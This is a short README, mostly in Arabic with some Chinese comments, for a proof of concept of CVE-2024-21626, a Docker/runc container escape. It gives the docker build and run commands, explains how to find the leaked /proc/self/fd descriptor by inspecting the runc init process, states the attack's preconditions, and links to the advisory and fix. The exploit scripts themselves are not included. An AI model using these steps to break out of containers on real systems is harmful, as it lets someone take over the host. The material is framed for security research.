
إثبات مفهوم لاستغلال CVE-2024-21626، وهي ثغرة هروب من الحاوية في Docker/runc. يوضح التلاعب بوصف الملف للخروج من عزل الحاوية. لأغراض تعليمية وبحثية فقط.
مخصص للاستخدام التعليمي/البحثي فقط، والمستخدم وحده يتحمل مسؤولية أي مخاطر ناتجة عن استخدامات لا علاقة لها بالتعليم أو البحث.
docker build . -t cve-2024-21626
docker run -it --rm cve-2024-21626 bash /poc.sh
# 另起一个terminal
/bin/bash.copy
تختلف واصفات الملفات المستخدمة بين إصدارات docker/runc المختلفة؛ فعلى سبيل المثال، في حالة docker server:20.10.17 && runc version 1.1.2 يُستخدم /proc/self/fd/9، وقد يتغير واصف الملف الفعلي (fd) وفقًا لترتيب فتح الملفات، وتشير الوثائق الرسمية إلى أنه في معظم الحالات يجب استخدام /proc/self/fd/7 لمعرفة واصف الملف (fd) المستخدم فعليًا، يمكنك تجميع runc بنفسك ووضع sleep في دالة nsexec
#使用ps 找到对应runc init进程的pid
ps -ef | grep runc
# 查看指向/sys/fs/cgroup的fd
ls -lh/proc/{pid runc init}/fd
تعديل: غيّر WORKDIR في Dockerfile إلى القيمة المقابلة
يجب توفر الشروط التالية في الوقت نفسه:
1. القدرة على إنشاء حاوية وتحديد الأمر المراد تنفيذه
2. القدرة على تحديد الصورة (image) التي تستخدمها الحاوية
TODO
https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e